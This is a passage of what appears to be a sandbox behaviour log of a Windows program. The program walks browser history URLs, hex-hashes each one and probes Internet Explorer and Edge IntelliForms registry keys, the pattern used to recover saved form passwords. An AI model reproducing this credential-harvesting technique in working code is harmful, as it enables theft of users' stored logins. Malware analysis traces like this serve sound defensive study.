(in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="2FF3DD033B67EAB28B272C8A69EADC71") returned 32 [0056.895] lstrcpyA (in: lpString1=0x21fb40, lpString2="2FF3DD033B67EAB28B272C8A69EADC71" | out: lpString1="2FF3DD033B67EAB28B272C8A69EADC71") returned="2FF3DD033B67EAB28B272C8A69EADC71" [0056.895] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="2FF3DD033B67EAB28B272C8A69EADC718F") returned 34 [0056.895] lstrcpyA (in: lpString1=0x21fb40, lpString2="2FF3DD033B67EAB28B272C8A69EADC718F" | out: lpString1="2FF3DD033B67EAB28B272C8A69EADC718F") returned="2FF3DD033B67EAB28B272C8A69EADC718F" [0056.895] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="2FF3DD033B67EAB28B272C8A69EADC718F81") returned 36 [0056.895] lstrcpyA (in: lpString1=0x21fb40, lpString2="2FF3DD033B67EAB28B272C8A69EADC718F81" | out: lpString1="2FF3DD033B67EAB28B272C8A69EADC718F81") returned="2FF3DD033B67EAB28B272C8A69EADC718F81" [0056.895] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="2FF3DD033B67EAB28B272C8A69EADC718F8148") returned 38 [0056.895] lstrcpyA (in: lpString1=0x21fb40, lpString2="2FF3DD033B67EAB28B272C8A69EADC718F8148" | out: lpString1="2FF3DD033B67EAB28B272C8A69EADC718F8148") returned="2FF3DD033B67EAB28B272C8A69EADC718F8148" [0056.895] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="2FF3DD033B67EAB28B272C8A69EADC718F8148D0") returned 40 [0056.895] lstrcpyA (in: lpString1=0x21fb40, lpString2="2FF3DD033B67EAB28B272C8A69EADC718F8148D0" | out: lpString1="2FF3DD033B67EAB28B272C8A69EADC718F8148D0") returned="2FF3DD033B67EAB28B272C8A69EADC718F8148D0" [0056.895] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="2FF3DD033B67EAB28B272C8A69EADC718F8148D070") returned 42 [0056.895] lstrcpyA (in: lpString1=0x21fb40, lpString2="2FF3DD033B67EAB28B272C8A69EADC718F8148D070" | out: lpString1="2FF3DD033B67EAB28B272C8A69EADC718F8148D070") returned="2FF3DD033B67EAB28B272C8A69EADC718F8148D070" [0056.895] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.895] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.895] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.895] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.896] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.896] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.896] LocalFree (hMem=0x2e81e0) returned 0x0 [0056.896] CoTaskMemFree (pv=0x2e8100) [0056.896] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.896] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/WobKZOa.jpg", lpSrch="?") returned 0x0 [0056.896] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.896] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2e8338 [0056.896] lstrcpyA (in: lpString1=0x2e8338, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.896] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/WobKZOa.jpg") returned 53 [0056.896] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/WobKZOa.jpg") returned 53 [0056.896] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="9A") returned 2 [0056.896] lstrcpyA (in: lpString1=0x21fb40, lpString2="9A" | out: lpString1="9A") returned="9A" [0056.896] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="9AEA") returned 4 [0056.896] lstrcpyA (in: lpString1=0x21fb40, lpString2="9AEA" | out: lpString1="9AEA") returned="9AEA" [0056.896] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="9AEA62") returned 6 [0056.896] lstrcpyA (in: lpString1=0x21fb40, lpString2="9AEA62" | out: lpString1="9AEA62") returned="9AEA62" [0056.896] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="9AEA6242") returned 8 [0056.896] lstrcpyA (in: lpString1=0x21fb40, lpString2="9AEA6242" | out: lpString1="9AEA6242") returned="9AEA6242" [0056.896] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="9AEA6242F6") returned 10 [0056.896] lstrcpyA (in: lpString1=0x21fb40, lpString2="9AEA6242F6" | out: lpString1="9AEA6242F6") returned="9AEA6242F6" [0056.896] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="9AEA6242F645") returned 12 [0056.896] lstrcpyA (in: lpString1=0x21fb40, lpString2="9AEA6242F645" | out: lpString1="9AEA6242F645") returned="9AEA6242F645" [0056.896] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="9AEA6242F64576") returned 14 [0056.896] lstrcpyA (in: lpString1=0x21fb40, lpString2="9AEA6242F64576" | out: lpString1="9AEA6242F64576") returned="9AEA6242F64576" [0056.896] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="9AEA6242F6457620") returned 16 [0056.896] lstrcpyA (in: lpString1=0x21fb40, lpString2="9AEA6242F6457620" | out: lpString1="9AEA6242F6457620") returned="9AEA6242F6457620" [0056.896] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="9AEA6242F6457620A9") returned 18 [0056.896] lstrcpyA (in: lpString1=0x21fb40, lpString2="9AEA6242F6457620A9" | out: lpString1="9AEA6242F6457620A9") returned="9AEA6242F6457620A9" [0056.896] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="9AEA6242F6457620A9C0") returned 20 [0056.896] lstrcpyA (in: lpString1=0x21fb40, lpString2="9AEA6242F6457620A9C0" | out: lpString1="9AEA6242F6457620A9C0") returned="9AEA6242F6457620A9C0" [0056.896] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="9AEA6242F6457620A9C02E") returned 22 [0056.896] lstrcpyA (in: lpString1=0x21fb40, lpString2="9AEA6242F6457620A9C02E" | out: lpString1="9AEA6242F6457620A9C02E") returned="9AEA6242F6457620A9C02E" [0056.896] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="9AEA6242F6457620A9C02E06") returned 24 [0056.896] lstrcpyA (in: lpString1=0x21fb40, lpString2="9AEA6242F6457620A9C02E06" | out: lpString1="9AEA6242F6457620A9C02E06") returned="9AEA6242F6457620A9C02E06" [0056.896] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="9AEA6242F6457620A9C02E0648") returned 26 [0056.897] lstrcpyA (in: lpString1=0x21fb40, lpString2="9AEA6242F6457620A9C02E0648" | out: lpString1="9AEA6242F6457620A9C02E0648") returned="9AEA6242F6457620A9C02E0648" [0056.897] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="9AEA6242F6457620A9C02E064899") returned 28 [0056.897] lstrcpyA (in: lpString1=0x21fb40, lpString2="9AEA6242F6457620A9C02E064899" | out: lpString1="9AEA6242F6457620A9C02E064899") returned="9AEA6242F6457620A9C02E064899" [0056.897] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="9AEA6242F6457620A9C02E064899A9") returned 30 [0056.897] lstrcpyA (in: lpString1=0x21fb40, lpString2="9AEA6242F6457620A9C02E064899A9" | out: lpString1="9AEA6242F6457620A9C02E064899A9") returned="9AEA6242F6457620A9C02E064899A9" [0056.897] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="9AEA6242F6457620A9C02E064899A92D") returned 32 [0056.897] lstrcpyA (in: lpString1=0x21fb40, lpString2="9AEA6242F6457620A9C02E064899A92D" | out: lpString1="9AEA6242F6457620A9C02E064899A92D") returned="9AEA6242F6457620A9C02E064899A92D" [0056.897] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="9AEA6242F6457620A9C02E064899A92D82") returned 34 [0056.897] lstrcpyA (in: lpString1=0x21fb40, lpString2="9AEA6242F6457620A9C02E064899A92D82" | out: lpString1="9AEA6242F6457620A9C02E064899A92D82") returned="9AEA6242F6457620A9C02E064899A92D82" [0056.897] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="9AEA6242F6457620A9C02E064899A92D8248") returned 36 [0056.897] lstrcpyA (in: lpString1=0x21fb40, lpString2="9AEA6242F6457620A9C02E064899A92D8248" | out: lpString1="9AEA6242F6457620A9C02E064899A92D8248") returned="9AEA6242F6457620A9C02E064899A92D8248" [0056.897] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="9AEA6242F6457620A9C02E064899A92D8248EC") returned 38 [0056.897] lstrcpyA (in: lpString1=0x21fb40, lpString2="9AEA6242F6457620A9C02E064899A92D8248EC" | out: lpString1="9AEA6242F6457620A9C02E064899A92D8248EC") returned="9AEA6242F6457620A9C02E064899A92D8248EC" [0056.897] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="9AEA6242F6457620A9C02E064899A92D8248ECBE") returned 40 [0056.897] lstrcpyA (in: lpString1=0x21fb40, lpString2="9AEA6242F6457620A9C02E064899A92D8248ECBE" | out: lpString1="9AEA6242F6457620A9C02E064899A92D8248ECBE") returned="9AEA6242F6457620A9C02E064899A92D8248ECBE" [0056.897] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="9AEA6242F6457620A9C02E064899A92D8248ECBEC1") returned 42 [0056.897] lstrcpyA (in: lpString1=0x21fb40, lpString2="9AEA6242F6457620A9C02E064899A92D8248ECBEC1" | out: lpString1="9AEA6242F6457620A9C02E064899A92D8248ECBEC1") returned="9AEA6242F6457620A9C02E064899A92D8248ECBEC1" [0056.897] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.897] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.897] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.897] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.897] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.897] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.897] LocalFree (hMem=0x2e8338) returned 0x0 [0056.897] CoTaskMemFree (pv=0x2e82c0) [0056.897] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.897] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/VNbQY-fHfjTXe5r920VH.xls", lpSrch="?") returned 0x0 [0056.897] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.897] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2e82c0 [0056.897] lstrcpyA (in: lpString1=0x2e82c0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.897] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/VNbQY-fHfjTXe5r920VH.xls") returned 99 [0056.898] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/VNbQY-fHfjTXe5r920VH.xls") returned 99 [0056.898] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="FA") returned 2 [0056.898] lstrcpyA (in: lpString1=0x21fb40, lpString2="FA" | out: lpString1="FA") returned="FA" [0056.898] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="FA3E") returned 4 [0056.898] lstrcpyA (in: lpString1=0x21fb40, lpString2="FA3E" | out: lpString1="FA3E") returned="FA3E" [0056.898] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="FA3E24") returned 6 [0056.898] lstrcpyA (in: lpString1=0x21fb40, lpString2="FA3E24" | out: lpString1="FA3E24") returned="FA3E24" [0056.898] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="FA3E24A6") returned 8 [0056.898] lstrcpyA (in: lpString1=0x21fb40, lpString2="FA3E24A6" | out: lpString1="FA3E24A6") returned="FA3E24A6" [0056.898] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="FA3E24A6F1") returned 10 [0056.898] lstrcpyA (in: lpString1=0x21fb40, lpString2="FA3E24A6F1" | out: lpString1="FA3E24A6F1") returned="FA3E24A6F1" [0056.898] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="FA3E24A6F112") returned 12 [0056.898] lstrcpyA (in: lpString1=0x21fb40, lpString2="FA3E24A6F112" | out: lpString1="FA3E24A6F112") returned="FA3E24A6F112" [0056.898] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="FA3E24A6F1127B") returned 14 [0056.898] lstrcpyA (in: lpString1=0x21fb40, lpString2="FA3E24A6F1127B" | out: lpString1="FA3E24A6F1127B") returned="FA3E24A6F1127B" [0056.898] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="FA3E24A6F1127B81") returned 16 [0056.898] lstrcpyA (in: lpString1=0x21fb40, lpString2="FA3E24A6F1127B81" | out: lpString1="FA3E24A6F1127B81") returned="FA3E24A6F1127B81" [0056.898] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="FA3E24A6F1127B8189") returned 18 [0056.898] lstrcpyA (in: lpString1=0x21fb40, lpString2="FA3E24A6F1127B8189" | out: lpString1="FA3E24A6F1127B8189") returned="FA3E24A6F1127B8189" [0056.898] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.898] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.898] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.898] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.898] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.898] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.898] LocalFree (hMem=0x2e82c0) returned 0x0 [0056.898] CoTaskMemFree (pv=0x2d5048) [0056.898] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.899] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/aNziRH8Mnq.doc", lpSrch="?") returned 0x0 [0056.899] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.899] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2e83a0 [0056.899] lstrcpyA (in: lpString1=0x2e83a0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.899] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/aNziRH8Mnq.doc") returned 56 [0056.899] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/aNziRH8Mnq.doc") returned 56 [0056.899] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.899] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.899] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.899] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.899] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.899] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.899] LocalFree (hMem=0x2e83a0) returned 0x0 [0056.899] CoTaskMemFree (pv=0x2b0ed8) [0056.899] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.899] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/xHYITZgObAq8.png", lpSrch="?") returned 0x0 [0056.899] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.899] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2ea3a0 [0056.899] lstrcpyA (in: lpString1=0x2ea3a0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.899] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/xHYITZgObAq8.png") returned 66 [0056.899] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/xHYITZgObAq8.png") returned 66 [0056.900] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.900] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.900] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.900] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local 